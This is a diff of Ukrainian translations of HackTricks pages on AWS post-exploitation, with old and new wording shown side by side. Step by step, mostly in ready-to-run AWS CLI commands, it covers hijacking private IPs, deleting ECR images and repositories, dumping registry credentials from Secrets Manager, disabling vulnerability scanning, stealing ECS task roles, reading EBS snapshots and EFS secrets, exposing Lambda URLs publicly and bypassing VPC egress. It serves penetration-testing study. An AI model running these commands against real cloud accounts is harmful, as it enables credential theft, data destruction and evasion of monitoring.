6) Переконайтеся, що право власності перенесено
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) З attacker instance виконайте source-bind на hijacked IP, щоб дістатися до захищеного хоста (переконайтеся, що IP налаштовано в ОС; якщо ні, додайте його за допомогою `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
7) З attacker instance зробіть source-bind на hijacked IP, щоб дістатися до protected host (переконайтеся, що IP налаштований в ОС; якщо ні, додайте його за допомогою `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Вплив
|
||||
- Обійти списки дозволених IP і видавати себе за довірені хости в межах VPC шляхом переміщення вторинних приватних IP між ENIs у тій самій підмережі/AZ.
|
||||
- Отримати доступ до внутрішніх сервісів, які обмежують доступ за конкретними IP-адресами джерела, що дозволяє lateral movement і доступ до даних.
|
||||
- Обійти IP allowlists і видаватися за довірені хости у VPC шляхом переміщення secondary private IPs між ENIs у тій самій subnet/AZ.
|
||||
- Дістатися внутрішніх сервісів, які обмежують доступ за specific source IPs, що дозволяє lateral movement і доступ до даних.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+17
-19
@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
|
||||
--registry-id 653711331788 \
|
||||
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
|
||||
```
|
||||
Після завантаження образів слід **перевірити їх на наявність конфіденційної інформації**:
|
||||
Після завантаження образів ви повинні **перевірити їх на наявність чутливої інформації**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
|
||||
|
||||
Зловмисник з будь-яким із цих дозволів може **створити або змінити політику життєвого циклу, щоб видалити всі образи в репозиторії**, а потім **видалити весь репозиторій ECR**. Це призведе до втрати всіх контейнерних образів, що зберігаються в репозиторії.
|
||||
Зловмисник, який має будь-який із цих дозволів, може **створити або змінити політику життєвого циклу, щоб видалити всі образи в репозиторії**, а потім **видалити весь ECR repository**. Це призведе до втрати всіх контейнерних образів, збережених у репозиторії.
|
||||
```bash
|
||||
# Create a JSON file with the malicious lifecycle policy
|
||||
echo '{
|
||||
@@ -90,23 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
|
||||
# Delete multiple images from the ECR public repository
|
||||
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### Експфільтрація upstream облікових даних реєстрів з ECR Pull‑Through Cache (PTC)
|
||||
|
||||
### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
|
||||
|
||||
Якщо ECR Pull‑Through Cache налаштовано для автентифікованих upstream registries (Docker Hub, GHCR, ACR тощо), upstream credentials зберігаються в AWS Secrets Manager з передбачуваним префіксом імені: `ecr-pullthroughcache/`. Оператори іноді надають ECR admins широкий доступ на читання до Secrets Manager, що дозволяє credential exfiltration та повторне використання поза AWS.
|
||||
Якщо ECR Pull‑Through Cache налаштовано для автентифікованих upstream реєстрів (Docker Hub, GHCR, ACR тощо), upstream облікові дані зберігаються в AWS Secrets Manager з передбачуваним префіксом імен: `ecr-pullthroughcache/`. Оператори іноді надають ECR admins широкі права читання AWS Secrets Manager, що дозволяє експфільтрацію облікових даних та їх повторне використання поза межами AWS.
|
||||
|
||||
Вимоги
|
||||
- secretsmanager:ListSecrets
|
||||
- secretsmanager:GetSecretValue
|
||||
|
||||
Перелічити кандидатські секрети PTC
|
||||
Перелічити потенційні секрети PTC
|
||||
```bash
|
||||
aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
|
||||
--output text
|
||||
```
|
||||
Dump виявлених секретів та розбір загальних полів
|
||||
Вивантажити виявлені секрети та розпарсити поширені поля
|
||||
```bash
|
||||
for s in $(aws secretsmanager list-secrets \
|
||||
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
|
||||
@@ -116,22 +114,22 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
|
||||
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
|
||||
done
|
||||
```
|
||||
Необов'язково: перевірити leaked creds проти upstream (логін тільки для читання)
|
||||
Необов'язково: перевірити leaked creds проти upstream (read‑only login)
|
||||
```bash
|
||||
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
|
||||
```
|
||||
Вплив
|
||||
- Читання цих записів Secrets Manager дає повторно використовувані upstream облікові дані реєстру (username/password or token), якими можна зловживати поза AWS для pull приватних образів або доступу до додаткових репозиторіїв залежно від upstream permissions.
|
||||
- Зчитування цих записів Secrets Manager дає повторно використовувані upstream registry credentials (username/password or token), які можуть бути використані поза AWS для pull приватних образів або доступу до додаткових репозиторіїв залежно від upstream permissions.
|
||||
|
||||
|
||||
### Прихованість на рівні реєстру: вимкнути або понизити сканування через `ecr:PutRegistryScanningConfiguration`
|
||||
|
||||
Зловмисник із правами ECR на рівні реєстру може непомітно зменшити або вимкнути автоматичне сканування вразливостей для всіх репозиторіїв, встановивши конфігурацію сканування реєстру в BASIC без правил scan-on-push. Це перешкоджає автоматичному скануванню нових push-ів образів, приховуючи вразливі або шкідливі образи.
|
||||
Зловмисник з правами на рівні реєстру ECR може непомітно зменшити або вимкнути автоматичне сканування вразливостей для ВСІХ репозиторіїв, встановивши registry scanning configuration в BASIC без правил scan-on-push. Це запобігає автоматичному скануванню нових push образів, приховуючи вразливі або шкідливі образи.
|
||||
|
||||
Requirements
|
||||
- ecr:PutRegistryScanningConfiguration
|
||||
- ecr:GetRegistryScanningConfiguration
|
||||
- ecr:PutImageScanningConfiguration (optional, per‑repo)
|
||||
- ecr:PutImageScanningConfiguration (необов'язково, для окремого репозиторію)
|
||||
- ecr:DescribeImages, ecr:DescribeImageScanFindings (перевірка)
|
||||
|
||||
Registry-wide downgrade to manual (no auto scans)
|
||||
@@ -161,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids
|
||||
# Optional: will error with ScanNotFoundException if no scan exists
|
||||
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
|
||||
```
|
||||
Необов'язково: подальше послаблення на рівні репозиторію
|
||||
Необов'язково: додатково знизити на рівні репозиторію
|
||||
```bash
|
||||
# Disable scan-on-push for a specific repository
|
||||
aws ecr put-image-scanning-configuration \
|
||||
@@ -170,19 +168,19 @@ aws ecr put-image-scanning-configuration \
|
||||
--image-scanning-configuration scanOnPush=false
|
||||
```
|
||||
Вплив
|
||||
- Нові пуші образів у реєстрі не скануються автоматично, що знижує видимість вразливого або шкідливого вмісту і затримує виявлення до ініціації ручного сканування.
|
||||
- Нові завантаження образів у реєстрі не скануються автоматично, що знижує видимість вразливого або шкідливого вмісту та відтерміновує виявлення до ручного запуску сканування.
|
||||
|
||||
|
||||
### Пониження двигуна сканування в масштабі реєстру через `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
|
||||
|
||||
Зменшіть якість виявлення вразливостей по всьому реєстру, переключивши BASIC scan engine з дефолтного AWS_NATIVE на застарілий двигун CLAIR. Це не вимикає сканування, але може суттєво змінити результати/покриття. Поєднайте з конфігурацією BASIC registry scanning без правил, щоб зробити сканування лише ручним.
|
||||
Зменшіть якість виявлення вразливостей по всьому реєстру, переключивши двигун сканування BASIC з дефолтного AWS_NATIVE на застарілий двигун CLAIR. Це не вимикає сканування, але може суттєво змінити результати/покриття. Поєднайте з BASIC конфігурацією сканування реєстру без правил, щоб зробити сканування лише при ручному запуску.
|
||||
|
||||
Вимоги
|
||||
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
|
||||
- (Необов'язково) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
|
||||
|
||||
Вплив
|
||||
- Налаштування реєстру `BASIC_SCAN_TYPE_VERSION` встановлено в `CLAIR`, тому наступні BASIC сканування виконуються з пониженим двигуном. CloudTrail фіксує виклик API `PutAccountSetting`.
|
||||
- Налаштування реєстру `BASIC_SCAN_TYPE_VERSION` встановлено в `CLAIR`, тому наступні BASIC сканування виконуватимуться з пониженим двигуном. CloudTrail записує виклик API `PutAccountSetting`.
|
||||
|
||||
Кроки
|
||||
```bash
|
||||
@@ -203,4 +201,4 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC -
|
||||
# 5) Restore to AWS_NATIVE when finished to avoid side effects
|
||||
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+30
-28
@@ -1,44 +1,44 @@
|
||||
# AWS - ECS Пост-експлуатація
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Для отримання додаткової інформації дивіться:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Ролі IAM на хості
|
||||
### Host IAM Roles
|
||||
|
||||
У ECS **IAM роль може бути призначена task**, що виконується всередині контейнера. **Якщо** task запускається всередині **EC2** instance, то **EC2 instance** матиме прикріплену **іншу IAM** роль.\
|
||||
Це означає, що якщо вам вдасться **компрометувати** ECS instance, ви потенційно можете **одержати IAM роль, пов'язану з ECR та EC2 instance**. Для отримання додаткової інформації про те, як отримати ці credentials дивіться:
|
||||
В ECS до задачі може бути призначена **IAM role**, яка працює всередині контейнера. **Якщо** задача запускається всередині **EC2** instance, до **EC2 instance** буде прикріплена **інша IAM** роль.\
|
||||
Це означає, що якщо вам вдасться **скомпрометувати** ECS instance, ви потенційно можете **отримати IAM роль, пов'язану з ECR та EC2 instance**. Для додаткової інформації про те, як отримати ці облікові дані, дивіться:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Зверніть увагу, що якщо EC2 instance вимагає IMDSv2, [**відповідно до документації**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT-запит** матиме **hop limit of 1**, що унеможливлює доступ до EC2 metadata з контейнера всередині EC2 instance.
|
||||
> Зверніть увагу, що якщо EC2 instance примусово використовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **response of the PUT request** матиме **hop limit of 1**, через що буде неможливо отримати доступ до EC2 metadata з контейнера, що працює всередині EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
### Privesc на ноду, щоб вкрасти creds & secrets інших контейнерів
|
||||
|
||||
Але крім того, EC2 використовує docker для запуску ECS tasks, тому якщо ви зможете здійснити escape на node або **отримати доступ до docker socket**, ви зможете **перевірити**, які **інші containers** запущені, і навіть **потрапити всередину них** та **вкрасти прикріплені IAM roles**.
|
||||
Крім того, EC2 використовує docker для запуску ECS tasks, тому якщо ви зможете втекти на ноду або **отримати доступ до docker socket**, ви зможете **перевірити**, які **інші контейнери** запущені, і навіть **зайти в них** та **вкрасти прикріплені до них IAM roles**.
|
||||
|
||||
#### Запуск контейнерів на поточному хості
|
||||
|
||||
Крім того, **EC2 instance role** зазвичай матиме достатньо **permissions**, щоб **update the container instance state** EC2 інстансів, що використовуються як nodes у кластері. Атакуючий може змінити **state інстансу на DRAINING**, тоді ECS **видалить усі tasks з нього**, а ті, що запускаються як **REPLICA**, будуть **запущені в іншому instance**, потенційно всередині **instance атакуючого**, щоб він міг **вкрасти їхні IAM roles** та потенційно чутливу інформацію зсередини контейнера.
|
||||
Крім того, **EC2 instance role** зазвичай має достатньо **permissions**, щоб **оновити container instance state** EC2 інстансів, які використовуються як вузли в кластері. Атакуючий може змінити **state of an instance to DRAINING**, після чого ECS **видалить усі tasks з нього**, а ті, що виконуються як **REPLICA**, будуть **запущені на іншому instance**, потенційно на **attackers instance**, щоб він міг **вкрасти їх IAM roles** та потенційно конфіденційну інформацію всередині контейнера.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Ту ж саму техніку можна виконати, **відреєструвавши EC2 instance з cluster**. Це потенційно менш приховано, але це **примусить tasks запускатися на інших instances:**
|
||||
Ту саму техніку можна застосувати, **скасувавши реєстрацію EC2 інстансу з кластера**. Це потенційно менш приховано, але це **змусить tasks запускатися на інших інстансах:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Останній метод, щоб примусити повторне виконання задач — це повідомити ECS, що **завдання або контейнер було зупинено**. Існує 3 потенційні APIs для цього:
|
||||
Остання техніка, щоб примусити повторне виконання tasks, — повідомити ECS, що **task або container було зупинено**. Існують 3 потенційні API для цього:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,38 +50,40 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Викрасти чутливу інформацію з контейнерів ECR
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **завантажувати образи** (you could search for sensitive info in them).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **завантажувати образи** (ви можете шукати в них конфіденційну інформацію).
|
||||
|
||||
|
||||
|
||||
### Підмонтувати EBS snapshot безпосередньо в ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Зловживайте нативною інтеграцією ECS з EBS (2024+), щоб змонтувати вміст існуючого EBS snapshot безпосередньо в новому ECS task/service і прочитати його дані зсередини контейнера.
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Зловживайте нативною ECS EBS інтеграцією (2024+), щоб змонтувати вміст існуючого EBS snapshot безпосередньо в новому ECS task/service і прочитати його дані зсередини контейнера.
|
||||
|
||||
- Потрібно (мінімум):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- Один із: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole на:
|
||||
- роль інфраструктури ECS, що використовується для томів (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task ролі, на які посилається task definition
|
||||
- Якщо snapshot зашифровано CMK: потрібні права KMS для інфраструктурної ролі (вищезгадана керована політика AWS включає необхідні KMS-привілеї для ключів, керованих AWS).
|
||||
- ECS infrastructure role, що використовується для томів (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task ролі, зазначені в task definition
|
||||
- Якщо snapshot зашифровано CMK: KMS дозволи для інфраструктурної ролі (вказана вище AWS managed policy включає необхідні KMS права для AWS managed keys).
|
||||
|
||||
- Наслідок: читання довільного вмісту диска зі snapshot (наприклад, файли баз даних) зсередини контейнера та ексфільтрація через мережу/логи.
|
||||
- Impact: Читання довільного вмісту диска зі snapshot (наприклад, файли баз даних) всередині контейнера та ексфільтрація через мережу/логи.
|
||||
|
||||
Кроки (приклад для Fargate):
|
||||
Steps (Fargate example):
|
||||
|
||||
1) Створіть роль інфраструктури ECS (якщо вона не існує) і прикріпіть керовану політику:
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Зареєструйте task definition з volume, позначеним як `configuredAtLaunch`, і змонтуйте його в container. Приклад (виводить секрет, потім спить):
|
||||
2) Зареєструйте task definition з volume, позначеним `configuredAtLaunch`, і змонтуйте його в container. Приклад (prints the secret then sleeps):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -101,7 +103,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Створіть або оновіть сервіс, передавши EBS snapshot через `volumeConfigurations.managedEBSVolume` (вимагає iam:PassRole для ролі infra). Приклад:
|
||||
3) Створіть або оновіть сервіс, передавши EBS snapshot через `volumeConfigurations.managedEBSVolume` (потребує iam:PassRole для ролі інфраструктури). Приклад:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -115,7 +117,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Коли task запускається, контейнер може прочитати вміст snapshot за вказаним mount path (наприклад, `/loot`). Exfiltrate через мережу/логи task.
|
||||
4) Коли завдання запускається, контейнер може прочитати вміст snapshot за налаштованим шляхом монтування (наприклад, `/loot`). Exfiltrate через мережу/логи завдання.
|
||||
|
||||
Очищення:
|
||||
```bash
|
||||
@@ -123,4 +125,4 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+17
-14
@@ -1,18 +1,20 @@
|
||||
# AWS Lambda – EFS Mount Injection через UpdateFunctionConfiguration (Крадіжка даних)
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Крадіжка даних)
|
||||
|
||||
Зловживання `lambda:UpdateFunctionConfiguration` для прикріплення існуючої EFS Access Point до Lambda, а потім розгортання простого коду, який перераховує/зчитує файли з примонтованого шляху для витягання спільних секретів/конфігурацій, до яких функція раніше не мала доступу.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
## Вимоги
|
||||
- Права на обліковому записі/принципалі жертви:
|
||||
- Дозволи в обліковому записі/ідентичності жертви:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (щоб знайти функції)
|
||||
- `lambda:ListFunctions` (to find functions)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (щоб підтвердити наявність mount targets)
|
||||
- `efs:DescribeMountTargets` (to confirm mount targets exist)
|
||||
- Припущення щодо середовища:
|
||||
- Цільова Lambda підключена до VPC і її підмережі/SG можуть дістатися до SG mount target EFS по TCP/2049 (наприклад, роль має AWSLambdaVPCAccessExecutionRole і маршрутизація VPC це дозволяє).
|
||||
- EFS Access Point знаходиться в тому ж VPC і має mount targets в AZ підмереж Lambda.
|
||||
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
|
||||
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
|
||||
|
||||
## Атака
|
||||
- Змінні
|
||||
@@ -21,7 +23,7 @@ REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) Підключіть EFS Access Point до Lambda
|
||||
1) Прикріпіть EFS Access Point до Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
@@ -30,7 +32,7 @@ aws lambda update-function-configuration \
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) Перезаписати code простим reader'ом, який перелічує файли та переглядає перші 200 байтів потенційного secret/config файлу
|
||||
2) Перезапишіть code простим reader'ом, який перелічує файли та переглядає перші 200 байт потенційного secret/config файлу
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
@@ -57,18 +59,19 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://re
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
3) Викличте та отримайте дані
|
||||
3) Викликати та отримати дані
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
Вивід має містити список файлів у /mnt/ht та короткий перегляд обраного секретного/конфігураційного файлу з EFS.
|
||||
Вивід має містити список каталогів у /mnt/ht та невеликий перегляд обраного секретного/конфігураційного файлу з EFS.
|
||||
|
||||
## Наслідки
|
||||
Зловмисник із вказаними дозволами може змонтувати довільні in-VPC EFS Access Points у цільові функції Lambda, щоб читати та exfiltrate спільні конфігурації й secrets, що зберігаються в EFS і раніше були недоступні цій функції.
|
||||
## Вплив
|
||||
|
||||
Зловмисник із наведеними дозволами може примонтувати довільні in-VPC EFS Access Points у цільові Lambda functions, щоб прочитати та вивести назовні спільні конфігурації й секрети, збережені в EFS, які раніше були недоступні для цієї функції.
|
||||
|
||||
## Очищення
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+11
-9
@@ -1,24 +1,26 @@
|
||||
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Перетворіть приватний Lambda Function URL на публічний неавтентифікований endpoint, переключивши Function URL AuthType на NONE та додавши resource-based policy, яка надає lambda:InvokeFunctionUrl усім. Це дозволяє анонімно викликати внутрішні функції і може викрити чутливі операції бекенда.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Abusing it
|
||||
Перетворіть приватний Lambda Function URL на публічну неавторизовану кінцеву точку, переключивши Function URL AuthType на NONE та додавши resource-based policy, яка надає lambda:InvokeFunctionUrl всім. Це дозволяє анонімне викликання внутрішніх функцій і може розкрити чутливі бекенд-операції.
|
||||
|
||||
## Зловживання
|
||||
|
||||
- Попередні вимоги: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Регіон: us-east-1
|
||||
|
||||
### Steps
|
||||
### Кроки
|
||||
1) Переконайтеся, що функція має Function URL (за замовчуванням AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Зробіть URL публічним (AuthType NONE):
|
||||
2) Переключіть URL на публічний (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Додайте statement в resource-based policy, щоб дозволити неавтентифікованим принципалам:
|
||||
3) Додайте resource-based policy statement, щоб дозволити неавторизованим суб’єктам:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
@@ -29,10 +31,10 @@ URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query Func
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impact
|
||||
- Lambda function стає анонімно доступною через інтернет.
|
||||
### Наслідки
|
||||
- Функція Lambda стає доступною анонімно через інтернет.
|
||||
|
||||
### Example output (unauthenticated 200)
|
||||
### Приклад виводу (200 без автентифікації)
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
@@ -43,4 +45,4 @@ https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+7
-3
@@ -1,6 +1,8 @@
|
||||
# AWS Lambda – Прив'язування/відкат Runtime для зловживань через PutRuntimeManagementConfig
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Зловживання `lambda:PutRuntimeManagementConfig` для прив'язки функції до конкретної версії runtime (Manual) або заморожування оновлень (FunctionUpdate). Це зберігає сумісність зі шкідливими layers/wrappers і може утримувати функцію на застарілій, вразливій версії runtime, що полегшує експлуатацію й довготривалу персистентність.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Зловживайте `lambda:PutRuntimeManagementConfig`, щоб закріпити функцію за конкретною версією runtime (Manual) або заморозити оновлення (FunctionUpdate). Це зберігає сумісність зі шкідливими layers/wrappers і може тримати функцію на застарілому, вразливому runtime, що сприяє експлуатації та довготривалій персистентності.
|
||||
|
||||
Вимоги: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
@@ -9,4 +11,6 @@
|
||||
- Заморозити оновлення: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Перевірити: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
За бажанням можна прив'язати до конкретної версії runtime, витягнувши Runtime Version ARN з логів INIT_START і використавши `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
За бажанням можна закріпити до конкретної версії runtime, витягнувши Runtime Version ARN з логів INIT_START та використавши `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-10
@@ -1,16 +1,18 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Примусово виведіть функцію Lambda з обмеженої VPC, оновивши її конфігурацію з порожнім VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Функція тоді запуститься в Lambda-managed networking plane, відновивши вихідний доступ в інтернет і оминувши egress-контролі, застосовані приватними підмережами VPC без NAT.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Примусово вивести Lambda function із обмеженого VPC, оновивши його конфігурацію з пустим VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Функція тоді виконуватиметься в мережевому шарі, яким керує Lambda, відновлюючи вихідний доступ в інтернет і обходячи контролі egress, накладені приватними підмережами VPC без NAT.
|
||||
|
||||
## Abusing it
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionConfiguration на цільовій функції (та lambda:InvokeFunction для перевірки), плюс права на оновлення коду/handler якщо їх змінювати.
|
||||
- Assumptions: Функція наразі налаштована з VpcConfig, яка вказує на приватні підмережі без NAT (тому вихідний доступ в інтернет заблоковано).
|
||||
- Попередні умови: lambda:UpdateFunctionConfiguration на цільовій функції (та lambda:InvokeFunction для перевірки), плюс дозволи на оновлення коду/handler, якщо ви їх змінюєте.
|
||||
- Припущення: функція наразі налаштована з VpcConfig, що вказує на приватні підмережі без NAT (тому вихід в інтернет заблоковано).
|
||||
- Region: us-east-1
|
||||
|
||||
### Steps
|
||||
|
||||
0) Prepare a minimal handler that proves outbound HTTP works
|
||||
0) Підготуйте мінімальний handler, що доводить роботу вихідного HTTP
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
@@ -26,12 +28,12 @@ zip net.zip net.py
|
||||
